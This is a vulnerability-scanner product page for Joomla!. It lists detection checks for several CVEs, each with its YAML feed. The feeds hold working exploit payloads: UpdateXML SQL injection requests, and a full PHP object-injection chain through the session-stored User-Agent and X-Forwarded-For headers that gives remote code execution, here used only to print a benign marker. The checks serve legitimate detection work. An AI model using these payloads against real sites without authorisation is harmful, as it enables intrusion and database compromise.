Joomla! — 25 vulnerability checks

noctis ships 25 vulnerability checks for Joomla!, covering 37 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Joomla! < 3.7.1 com_fields list[fullordering] SQL injection

CVECVE-2017-8917
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, http_request, match, script, tcp_connect · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2017-8917.yaml

Gets a session and CSRF token from the login page, sends an UpdateXML payload in the list[fullordering] parameter of com_fields and reports when the server returns the XPATH error computed by the database.

How noctis detects it

  1. HTTP(S) request GET /index.php/component/users/?view=login
  2. Checks r1.body for name="([0-9a-f]{32})"
  3. Parses / computes the next value with a Rhai script
  4. Checks r1.headers.set-cookie for ([0-9a-f]{32}=[^;]+)
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?option=com_fields&view=fields&layout=modal&view=fields&layout=modal&option…
  7. Checks r2.banner for (?im)^HTTP/1\.[01] 500[\s\S]*XPATH syntax error:\s*(?:'|&#0?39;):255:…
  8. Checks r2.banner for Home Page< → finding QoD 75: Joomla com_fields list[fullordering] UpdateXML injection returned the server-computed XPATH error ':255:' (HTTP 500) on the Home Page conte…

References:

Feed source — tests/vulnerabilities/joomla/CVE-2017-8917.yaml
uid: 6d0c3f82-4b19-4a7e-9c52-1e8f7a6b0d35
name: "CVE-2017-8917 — Joomla! < 3.7.1 com_fields list[fullordering] SQL injection (CVSS 9.8)"
description: "Gets a session and CSRF token from the login page, sends an UpdateXML payload in the list[fullordering] parameter of com_fields and reports when the server returns the XPATH error computed by the database."
cves: [CVE-2017-8917]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [joomla, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-8917"
  - "OpenVAS NASL 2017/gb_joomla_sql_inj_vuln_may17.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2017/gb_joomla_sql_inj_vuln_may17.nasl (GPL-2.0-only).
# Faithful: GET the login view for the session cookie + hidden token, then send the exact NASL
# com_fields UpdateXML payload (raw via tcp_connect, so %5B/%2B survive), carrying the full
# session cookie and the token as <token>=1. A vulnerable Joomla (< 3.7.1) throws the XPATH error
# with the SERVER-COMPUTED value ':255:' (0x3a,128+127,0x3a). Real Joomla HTML-escapes the quotes
# (&#039;:255:&#039;), so the gate accepts either raw or escaped quotes — that computed marker,
# with HTTP 500 on the "Home Page" context, is the proof, not a bare 500. A patched build
# sanitises the input and answers 200, so nothing fires (non-trivial negative).
steps:
  - id: init
    action: set_var
    var_name: base
    var_value: false
  - id: init2
    action: set_var
    var_name: xp
    var_value: false

  - id: login-view
    action: http_request
    method: GET
    path: "/index.php/component/users/?view=login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: r1
  - id: base-gate
    action: match
    source: r1.body
    pattern: "name=\"([0-9a-f]{32})\""
    condition: "r1.status == 200"
    store_as: fs_match
    on_match:
      set_vars:
        base: true
  - id: fs-store
    action: script
    code: 'fs_match["captures"][0]'
    store_as: fsid
    condition: "base == true"
  - id: cookie-extract
    action: match
    source: r1.headers.set-cookie
    pattern: "([0-9a-f]{32}=[^;]+)"
    condition: "base == true"
    store_as: ck_match
  - id: cookie-store
    action: script
    code: 'ck_match["captures"][0]'
    store_as: ck
    condition: "base == true"

  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?option=com_fields&view=fields&layout=modal&view=fields&layout=modal&option=com_fields&{{fsid}}=1&list%5Bfullordering%5D=UpdateXML%282%2C+concat%280x3a%2C128%2B127%2C+0x3a%29%2C+1%29 HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: {{ck}}\r\n\r\n"
    condition: "base == true"
    store_as: r2
  - id: xpath-gate
    action: match
    source: r2.banner
    pattern: "(?im)^HTTP/1\\.[01] 500[\\s\\S]*XPATH syntax error:\\s*(?:'|&#0?39;):255:(?:'|&#0?39;)"
    condition: "base == true"
    on_match:
      set_vars:
        xp: true
  - id: detect
    action: match
    source: r2.banner
    pattern: "Home Page<"
    condition: "xp == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Joomla com_fields list[fullordering] UpdateXML injection returned the server-computed XPATH error ':255:' (HTTP 500) on the Home Page context — CVE-2017-8917 pre-auth SQLi."
      stop: true

Joomla! 1.5.0 - 3.4.5 session object injection RCE (User-Agent / X-Forwarded-For)

CVECVE-2015-8562
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, tcp_connect · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2015-8562.yaml

Joomla! 1.5.0 through 3.4.5 store the unfiltered User-Agent / X-Forwarded-For header in the database-backed session. A header ending in a 4-byte UTF-8 character truncates the serialized session in MySQL, so the injected `}__…|O:21:"JDatabaseDriverMysqli"…` object is unserialized on the next request and its SimplePie gadget passes attacker code to assert(). The feed injects a benign `print("<marker>".(A*B));exit` and confirms the server-computed product.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /
  3. Checks fp.body for (?i)joomla|/media/jui/|/media/system/js/|option=com_
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET /
  7. Parses / computes the next value with a Rhai script
  8. Checks ua_check for ^true$ → finding QoD 97: Joomla! session object injection RCE via User-Agent (CVE-2015-8562)
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET /
  12. Parses / computes the next value with a Rhai script
  13. Checks xff_check for ^true$ → finding QoD 97: Joomla! session object injection RCE via X-Forwarded-For (CVE-2015-8562)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-8562.yaml
uid: 2d874e0a-16ea-4a35-99a3-a53e3c9c65fe
name: "CVE-2015-8562 — Joomla! 1.5.0 - 3.4.5 session object injection RCE (User-Agent / X-Forwarded-For)"
description: "Joomla! 1.5.0 through 3.4.5 store the unfiltered User-Agent / X-Forwarded-For header in the database-backed session. A header ending in a 4-byte UTF-8 character truncates the serialized session in MySQL, so the injected `}__…|O:21:\"JDatabaseDriverMysqli\"…` object is unserialized on the next request and its SimplePie gadget passes attacker code to assert(). The feed injects a benign `print(\"<marker>\".(A*B));exit` and confirms the server-computed product."
cves: [CVE-2015-8562]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [openvas-migrated, joomla, php-object-injection, deserialization, rce, intrusive, http]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-8562"
  - "https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/joomla_http_header_rce.rb"
  - "OpenVAS NASL 2015/gb_joomla_79195.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2015/gb_joomla_79195.nasl (GPL-2.0-only, Greenbone
# Community Feed). Same exploit chain as the NASL: a first GET / carries the serialized
# JDatabaseDriverMysqli -> SimplePie -> assert() object in the injected header and opens a
# session; a second GET / replaying the session cookie makes Joomla unserialize it and run the
# code. The trailing 4-byte UTF-8 character (U+1D306, as in the Nuclei template — the NASL
# uses the invalid bytes F0 FD FD FD) is what makes MySQL's 3-byte `utf8` column truncate the
# session row right after the injected object. The literal six characters `\0\0\0` are
# intentional: Joomla's session handler turns them back into the protected-property prefix.
#
# Deviations from the NASL (benign proof, better detection):
#   - The NASL runs `phpinfo();JFactory::getConfig();exit` and matches `<title>phpinfo()</title>`.
#     Here the payload is `print("<marker>".(A*B));exit` with per-run random operands; the
#     marker+product string never appears in the request, so a match proves code execution
#     (no phpinfo / configuration disclosure, nothing written besides the session row Joomla
#     creates for any visitor).
#   - Each vector (User-Agent, then X-Forwarded-For) gets its own fresh session, and both
#     responses of the pair are checked, so a server that only rotates the cookie still works.
#   - Not claimed: CVE-2015-8563/8564/8565 (other Joomla 3.4.6 fixes, not exercised here).
#   - Only the web root `/` is probed (the NASL uses the detected install dir).
steps:
  # ── Benign payload + expected token (computed per run, never sent literally) ─
  - id: build-payload
    action: script
    store_as: inj
    code: |
      let marker = "nx" + rand_hex(4);
      let a = rand_int(10007, 99991);
      let b = rand_int(10007, 99991);
      let token = marker + (a * b).to_string();
      let php = "print(\"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + "));exit";
      let p1 = `}__noctis|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:`;
      let p2 = `;s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}`;
      let payload = p1 + php.len().to_string() + ":\"" + php + "\"" + p2 + "𝌆";
      #{ payload: payload, token: token }

  # ── Pre-initialise stored results (a reset connection leaves them unset) ──
  - id: init-detected
    action: set_var
    var_name: joomla_detected
    var_value: false
  - id: init-ua1
    action: set_var
    var_name: ua1
    var_value: {connected: false, banner: null}
  - id: init-ua2
    action: set_var
    var_name: ua2
    var_value: {status: 0, body: null}
  - id: init-xff1
    action: set_var
    var_name: xff1
    var_value: {connected: false, banner: null}
  - id: init-xff2
    action: set_var
    var_name: xff2
    var_value: {status: 0, body: null}

  # ── Gate: only send the exploit to something that looks like Joomla ───────
  - id: fingerprint
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: fp

  - id: fingerprint-match
    action: match
    source: fp.body
    pattern: "(?i)joomla|/media/jui/|/media/system/js/|option=com_"
    on_match:
      set_vars:
        joomla_detected: true

  # ── Vector 1: User-Agent. Request 1 stores the object in a new session ────
  # Raw request: the header carries a 4-byte UTF-8 character and must reach the
  # server byte-for-byte; tcp_connect also wraps TLS on https targets.
  - id: ua-store
    action: tcp_connect
    port: "{{port}}"
    condition: "joomla_detected == true"
    timeout_secs: 10
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: {{inj.payload}}\r\n\r\n"
    store_as: ua1

  - id: ua-cookie
    action: script
    store_as: ua_cookie
    condition: "joomla_detected == true"
    code: |
      // Replay every cookie the response set (a load balancer / WAF cookie may
      // come before Joomla's session cookie).
      let h = if type_of(ua1.banner) == "string" { ua1.banner } else { "" };
      let jar = [];
      for line in split(h, "\n") {
        let m = eregmatch("^set-cookie:[ \\t]*([^;\\r\\n]+)", line, true);
        if m.len() >= 2 { jar.push(m[1]); }
      }
      jar.reduce(|acc, c| if acc == "" { c } else { acc + "; " + c }, "")

  # ── Request 2 replays the session: Joomla unserializes it -> assert() ─────
  # No payload needed here, so a normal HTTP client is used: it de-chunks /
  # decompresses the body and honours timeout_secs (the token is printed by a
  # destructor at PHP shutdown, i.e. usually after the whole rendered page).
  - id: ua-trigger
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "joomla_detected == true && ua_cookie != \"\""
    headers:
      Cookie: "{{ua_cookie}}"
    store_as: ua2

  - id: ua-evaluate
    action: script
    store_as: ua_check
    condition: "joomla_detected == true"
    code: |
      let r1 = if type_of(ua1.banner) == "string" { ua1.banner } else { "" };
      let r2 = if type_of(ua2.body) == "string" { ua2.body } else { "" };
      stridx(r1, inj.token) >= 0 || stridx(r2, inj.token) >= 0

  - id: ua-confirm
    action: match
    source: ua_check
    pattern: "^true$"
    condition: "joomla_detected == true"
    on_match:
      finding:
        title: "Joomla! session object injection RCE via User-Agent (CVE-2015-8562)"
        description: "A serialized JDatabaseDriverMysqli/SimplePie object injected in the User-Agent header was stored in the Joomla session and unserialized on the next request; its assert() gadget evaluated a benign PHP print of a random product, confirming unauthenticated remote code execution."
        remediation: "Upgrade Joomla! to 3.4.6 or later (or apply the 1.5/2.5 hotfix) and update PHP to >= 5.4.45 / 5.5.29 / 5.6.13."
        confidence_delta: 0.65
        qod: 97
        evidence: "PHP code injected via the User-Agent session object ran on the server: the evaluated marker {{inj.token}} came back in the response to GET / (session cookie replayed)."
      stop: true

  # ── Vector 2: X-Forwarded-For, fresh session ──────────────────────────────
  - id: xff-store
    action: tcp_connect
    port: "{{port}}"
    condition: "joomla_detected == true"
    timeout_secs: 10
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\nAccept-Encoding: identity\r\nX-Forwarded-For: {{inj.payload}}\r\n\r\n"
    store_as: xff1

  - id: xff-cookie
    action: script
    store_as: xff_cookie
    condition: "joomla_detected == true"
    code: |
      // Replay every cookie the response set (a load balancer / WAF cookie may
      // come before Joomla's session cookie).
      let h = if type_of(xff1.banner) == "string" { xff1.banner } else { "" };
      let jar = [];
      for line in split(h, "\n") {
        let m = eregmatch("^set-cookie:[ \\t]*([^;\\r\\n]+)", line, true);
        if m.len() >= 2 { jar.push(m[1]); }
      }
      jar.reduce(|acc, c| if acc == "" { c } else { acc + "; " + c }, "")

  - id: xff-trigger
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "joomla_detected == true && xff_cookie != \"\""
    headers:
      Cookie: "{{xff_cookie}}"
    store_as: xff2

  - id: xff-evaluate
    action: script
    store_as: xff_check
    condition: "joomla_detected == true"
    code: |
      let r1 = if type_of(xff1.banner) == "string" { xff1.banner } else { "" };
      let r2 = if type_of(xff2.body) == "string" { xff2.body } else { "" };
      stridx(r1, inj.token) >= 0 || stridx(r2, inj.token) >= 0

  - id: xff-confirm
    action: match
    source: xff_check
    pattern: "^true$"
    condition: "joomla_detected == true"
    on_match:
      finding:
        title: "Joomla! session object injection RCE via X-Forwarded-For (CVE-2015-8562)"
        description: "A serialized JDatabaseDriverMysqli/SimplePie object injected in the X-Forwarded-For header was stored in the Joomla session and unserialized on the next request; its assert() gadget evaluated a benign PHP print of a random product, confirming unauthenticated remote code execution."
        remediation: "Upgrade Joomla! to 3.4.6 or later (or apply the 1.5/2.5 hotfix) and update PHP to >= 5.4.45 / 5.5.29 / 5.6.13."
        confidence_delta: 0.65
        qod: 97
        evidence: "PHP code injected via the X-Forwarded-For session object ran on the server: the evaluated marker {{inj.token}} came back in the response to GET / (session cookie replayed)."
      stop: true

Joomla J-ClassifiedsManager offerring-ads id SQL injection

CVECVE-2015-1478
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2015-1478.yaml

The J-ClassifiedsManager component (CMSJunkie) for Joomla uses the id parameter of its offerring-ads view in an SQL query without sufficient sanitisation, so an unauthenticated visitor can inject SQL into the site database.

Under the web root and /joomla, this check requests the ad view with a random token as a control, then with a double quote placed before the token. The vulnerability is reported when only the second request prints a MySQL syntax error that echoes the token and names the classifiedsmanager component. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{route}}{{g.tok}}
  3. HTTP(S) request GET {{route}}%22{{g.tok}}
  4. Parses / computes the next value with a Rhai script
  5. Checks res.ok for ^true$ → finding QoD 75: Joomla J-ClassifiedsManager offerring-ads id SQL injection (CVE-2015-1478)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-1478.yaml
# Joomla J-ClassifiedsManager (CMSJunkie) — offerring-ads id SQL injection (CVE-2015-1478)
#
# The id parameter of the component's offerring-ads view reaches an SQL statement
# unescaped, so a double quote breaks the query and Joomla prints MySQL's syntax error
# together with the failing statement (which contains the submitted value).
#
# Detection (QoD 75), per candidate route (SEF path and option= URL, web root and /joomla):
#   1. id=<random token> (control) answers with no SQL error.
#   2. id="<token> answers with a MySQL syntax error that echoes the token and the
#      component's name: the value is concatenated into the query.
# Read-only: the payload is a quote character plus a random token.
#
# Better than the source NASL: a fixed marker string plus a clean control request, so a
# page that merely prints an error for any odd id (or echoes a static marker) is not
# reported.
# CVSS: NVD carries only a CVSS v2 score (7.5) for CVE-2015-1478 (the SQL injection);
# CVE-2015-1477 is the XSS in the view parameter and is not proved here.
#
# Source: OpenVAS/Greenbone NVT 2015/gb_joomla_classifiedsmanager_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805271, GPL-2.0-only).
uid: b7f6fafc-e669-4200-99f4-1163332058bc
name: "Joomla J-ClassifiedsManager offerring-ads id SQL injection (CVE-2015-1478)"
description: |
  The J-ClassifiedsManager component (CMSJunkie) for Joomla uses the id parameter of its
  offerring-ads view in an SQL query without sufficient sanitisation, so an unauthenticated
  visitor can inject SQL into the site database.

  Under the web root and /joomla, this check requests the ad view with a random token as a
  control, then with a double quote placed before the token. The vulnerability is reported
  when only the second request prints a MySQL syntax error that echoes the token and names
  the classifiedsmanager component. Nothing is written and no data is read from the
  database.
cves: [CVE-2015-1478]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, j-classifiedsmanager, sqli, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-1478"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-1477"

steps:
  - id: gen
    action: script
    code: |
      let t = "nc" + rand_hex(5);
      #{ tok: t }
    store_as: g

  # A loop: step runs together with every following non-loop step once per route, so the
  # init steps reset the stored results at the start of each iteration.
  - id: init-ctl
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - "/jclassifiedsmanager/classifieds/offerring-ads?controller=displayads&view=displayads&task=viewad&id="
        - "/joomla/jclassifiedsmanager/classifieds/offerring-ads?controller=displayads&view=displayads&task=viewad&id="
        - "/index.php?option=com_jclassifiedsmanager&controller=displayads&view=displayads&task=viewad&id="
        - "/joomla/index.php?option=com_jclassifiedsmanager&controller=displayads&view=displayads&task=viewad&id="
      var: route

  - id: init-inj
    action: set_var
    var_name: inj_resp
    var_value: {status: 0, body: null}

  - id: control
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{route}}{{g.tok}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: inject
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{route}}%22{{g.tok}}"
    condition: 'ctl_resp.status >= 200 && ctl_resp.status < 500 && type_of(ctl_resp.body) == "string" && !ereg("(?i)(error in your SQL syntax|mysql_fetch|MySQL server version)", ctl_resp.body)'
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: inj_resp

  - id: check
    action: script
    code: |
      let b = if type_of(inj_resp.body) == "string" { inj_resp.body } else { "" };
      let ok = inj_resp.status >= 200 && inj_resp.status < 500
        && ereg("error in your SQL syntax", b)
        && stridx(b, g.tok) >= 0
        && ereg("(?i)classifiedsmanager", b);
      #{ ok: ok }
    store_as: res

  - id: report
    action: match
    source: res.ok
    pattern: "^true$"
    condition: "res.ok"
    on_match:
      finding:
        title: "Joomla J-ClassifiedsManager offerring-ads id SQL injection (CVE-2015-1478)"
        description: "A double quote placed before the id value of the J-ClassifiedsManager offerring-ads view made the site print a MySQL syntax error echoing the submitted token and naming the component, while the same request without the quote printed none: the id parameter reaches an SQL statement unescaped, so an unauthenticated attacker can run arbitrary SQL against the Joomla database."
        remediation: "Update J-ClassifiedsManager to a release that sanitises the id parameter, or remove the component."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{route}}: id=<token> answers without a database error, id=\"<token> answers with an SQL syntax error echoing the token and the component name"
      stop: true

Joomla! 1.5.x filter_order SQL injection in com_weblinks and com_contact

CVECVE-2010-4166, CVE-2010-4696
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/joomla-filter-order-sqli.yaml

Requests the category view of the Joomla! com_weblinks and com_contact components with an UpdateXML() expression in the `filter_order` parameter. When the parameter is inserted unfiltered into the ORDER BY clause (Joomla! 1.5.x before 1.5.22), the database error contains the value it computed itself (1337 = 191*7), which the request never contains. If the database has no UpdateXML(), a NUL byte in the parameter that makes the page print a MySQL result-resource warning is accepted as a weaker signal.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{target.dir}}/index.php?{{target.q}}&filter_order=updatexml(1,concat(0x7e,(select%20…
  2. Checks xp_resp.banner for XPATH syntax error: *(?:'|&#0?39;)~1337~
  3. Checks xp_resp.banner for XPATH syntax error: *(?:'|&#0?39;)~1337~ → finding QoD 75: Joomla! com_weblinks filter_order SQL injection (CVE-2010-4166)
  4. Checks xp_resp.banner for XPATH syntax error: *(?:'|&#0?39;)~1337~ → finding QoD 75: Joomla! com_contact filter_order SQL injection (CVE-2010-4696)
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{target.dir}}/index.php?{{target.q}}&filter_order=%00 HTTP/1.0
  6. Checks nul_resp.banner for mysql_num_rows\(\): supplied argument is not a valid MySQL result res… → finding QoD 70: Joomla! com_weblinks filter_order SQL injection (CVE-2010-4166)
  7. Checks nul_resp.banner for mysql_num_rows\(\): supplied argument is not a valid MySQL result res… → finding QoD 70: Joomla! com_contact filter_order SQL injection (CVE-2010-4696)

References:

Feed source — tests/vulnerabilities/joomla/joomla-filter-order-sqli.yaml
# Joomla! 1.5.x < 1.5.22 filter_order SQL injection — CVE-2010-4166, CVE-2010-4696
#
# The category views of com_weblinks (CVE-2010-4166) and com_contact (CVE-2010-4696)
# put the `filter_order` request parameter straight into the ORDER BY clause of
# the list query. Unauthenticated, no write: the probe injects an UpdateXML()
# whose argument the database computes (191*7); a vulnerable build answers with
# the MySQL XPATH error quoting the computed value, which is absent from the request.
#
# Improvements over the source NASL (gb_joomla_mult_sql_inj_vuln.nasl):
#   * the NASL only sends a NUL byte and greps a PHP warning; this feed also
#     proves injection with a database-computed marker (QoD 75) and keeps the
#     NASL warning check as a QoD 70 fallback for MySQL 5.0 (no UpdateXML),
#   * it also covers the com_contact sink (CVE-2010-4696), and the /joomla subdir
#     without needing a separate product-detection NVT.
#
# The payload contains parentheses and commas, so it is sent verbatim over
# HTTP/1.0 via tcp_connect and matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_joomla_mult_sql_inj_vuln.nasl
# (GPL-2.0-only).
uid: 3412fdac-e08a-46d1-9d99-1ce29a9c8dd0
name: "Joomla! 1.5.x filter_order SQL injection in com_weblinks and com_contact"
description: |
  Requests the category view of the Joomla! com_weblinks and com_contact
  components with an UpdateXML() expression in the `filter_order` parameter.
  When the parameter is inserted unfiltered into the ORDER BY clause
  (Joomla! 1.5.x before 1.5.22), the database error contains the value it
  computed itself (1337 = 191*7), which the request never contains. If the
  database has no UpdateXML(), a NUL byte in the parameter that makes the
  page print a MySQL result-resource warning is accepted as a weaker signal.
cves: [CVE-2010-4166, CVE-2010-4696]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-core, sqli, com_weblinks, com_contact, openvas-migrated, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4166"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4696"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_mult_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # One iteration per (install dir × component). The loop group is every step
  # after this one; each iteration resets its own state first.
  - id: reset-xp
    action: set_var
    var_name: xp_hit
    var_value: false
    loop:
      over:
        - {dir: "", comp: "weblinks", q: "option=com_weblinks&view=category&id=2:joomla-specific-links&limit=10&filter_order_Dir="}
        - {dir: "", comp: "contact", q: "option=com_contact&view=category&catid=12&id=12&limit=10&filter_order_Dir="}
        - {dir: "/joomla", comp: "weblinks", q: "option=com_weblinks&view=category&id=2:joomla-specific-links&limit=10&filter_order_Dir="}
        - {dir: "/joomla", comp: "contact", q: "option=com_contact&view=category&catid=12&id=12&limit=10&filter_order_Dir="}
      var: target

  - id: reset-resp
    action: set_var
    var_name: xp_resp
    var_value: {connected: false, banner: ""}

  - id: reset-nul
    action: set_var
    var_name: nul_resp
    var_value: {connected: false, banner: ""}

  - id: xp-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{target.dir}}/index.php?{{target.q}}&filter_order=updatexml(1,concat(0x7e,(select%20191*7),0x7e),1) HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: xp_resp

  # The error quotes the computed 1337; the request only carries 191*7.
  - id: xp-gate
    action: match
    source: xp_resp.banner
    pattern: "XPATH syntax error: *(?:'|&#0?39;)~1337~"
    on_match:
      set_vars:
        xp_hit: true

  - id: xp-weblinks
    action: match
    source: xp_resp.banner
    pattern: "XPATH syntax error: *(?:'|&#0?39;)~1337~"
    condition: "xp_hit == true && target.comp == \"weblinks\""
    on_match:
      finding:
        title: "Joomla! com_weblinks filter_order SQL injection (CVE-2010-4166)"
        description: "The com_weblinks category view placed the filter_order parameter into its ORDER BY clause unfiltered: an injected UpdateXML() call made the database return an XPATH error quoting the value it computed (1337), which the request does not contain. This is the unauthenticated SQL injection of Joomla! 1.5.x before 1.5.22."
        remediation: "Upgrade Joomla! to 1.5.22 or later."
        cves: [CVE-2010-4166]
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{target.dir}}/index.php?{{target.q}}&filter_order=updatexml(1,concat(0x7e,(select 191*7),0x7e),1) returned the database-computed XPATH error ~1337~. Response: {{xp_resp.banner}}"

  - id: xp-contact
    action: match
    source: xp_resp.banner
    pattern: "XPATH syntax error: *(?:'|&#0?39;)~1337~"
    condition: "xp_hit == true && target.comp == \"contact\""
    on_match:
      finding:
        title: "Joomla! com_contact filter_order SQL injection (CVE-2010-4696)"
        description: "The com_contact category view placed the filter_order parameter into its ORDER BY clause unfiltered: an injected UpdateXML() call made the database return an XPATH error quoting the value it computed (1337), which the request does not contain. This is the unauthenticated SQL injection of Joomla! 1.5.x before 1.5.22."
        remediation: "Upgrade Joomla! to 1.5.22 or later."
        cves: [CVE-2010-4696]
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{target.dir}}/index.php?{{target.q}}&filter_order=updatexml(1,concat(0x7e,(select 191*7),0x7e),1) returned the database-computed XPATH error ~1337~. Response: {{xp_resp.banner}}"

  # Fallback for databases without UpdateXML(): the NASL's NUL byte.
  - id: nul-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{target.dir}}/index.php?{{target.q}}&filter_order=%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: nul_resp
    condition: "xp_hit == false && xp_resp.connected == true"

  - id: nul-weblinks
    action: match
    source: nul_resp.banner
    pattern: "mysql_num_rows\\(\\): supplied argument is not a valid MySQL result resource"
    condition: "xp_hit == false && nul_resp.connected == true && target.comp == \"weblinks\""
    on_match:
      finding:
        title: "Joomla! com_weblinks filter_order SQL injection (CVE-2010-4166)"
        description: "A NUL byte in the filter_order parameter of the com_weblinks category view broke the list query and the page printed a MySQL result-resource warning, showing the parameter reaches the SQL unfiltered (Joomla! 1.5.x before 1.5.22)."
        remediation: "Upgrade Joomla! to 1.5.22 or later."
        cves: [CVE-2010-4166]
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{target.dir}}/index.php?{{target.q}}&filter_order=%00 printed the MySQL result-resource warning. Response: {{nul_resp.banner}}"

  - id: nul-contact
    action: match
    source: nul_resp.banner
    pattern: "mysql_num_rows\\(\\): supplied argument is not a valid MySQL result resource"
    condition: "xp_hit == false && nul_resp.connected == true && target.comp == \"contact\""
    on_match:
      finding:
        title: "Joomla! com_contact filter_order SQL injection (CVE-2010-4696)"
        description: "A NUL byte in the filter_order parameter of the com_contact category view broke the list query and the page printed a MySQL result-resource warning, showing the parameter reaches the SQL unfiltered (Joomla! 1.5.x before 1.5.22)."
        remediation: "Upgrade Joomla! to 1.5.22 or later."
        cves: [CVE-2010-4696]
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{target.dir}}/index.php?{{target.q}}&filter_order=%00 printed the MySQL result-resource warning. Response: {{nul_resp.banner}}"

Joomla! 3.2.0 - 3.4.4 com_contenthistory list[select] SQL injection

CVECVE-2015-7297, CVE-2015-7857, CVE-2015-7858, CVE-2015-7859, CVE-2015-7899
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2015-7297.yaml

Requests com_contenthistory with list[select]=1 and reports when the response contains the SQL error built from the injected value (Unknown column in the order clause), showing the parameter reaches the query unsanitised.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?option=com_contenthistory&view=history&list[select]=1 HTTP/1.0
  2. Checks resp.banner for (?s)Unknown column.*Array.*order clause.*SQL=SELECT 1 → finding QoD 75: Joomla! com_contenthistory list[select] reached the SQL query (Unknown column ... order clause, SQL=SELECT 1): …

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-7297.yaml
uid: d7706bc6-8b88-45cc-9642-84fac2f6575e
name: "Joomla! 3.2.0 - 3.4.4 com_contenthistory list[select] SQL injection (CVE-2015-7297)"
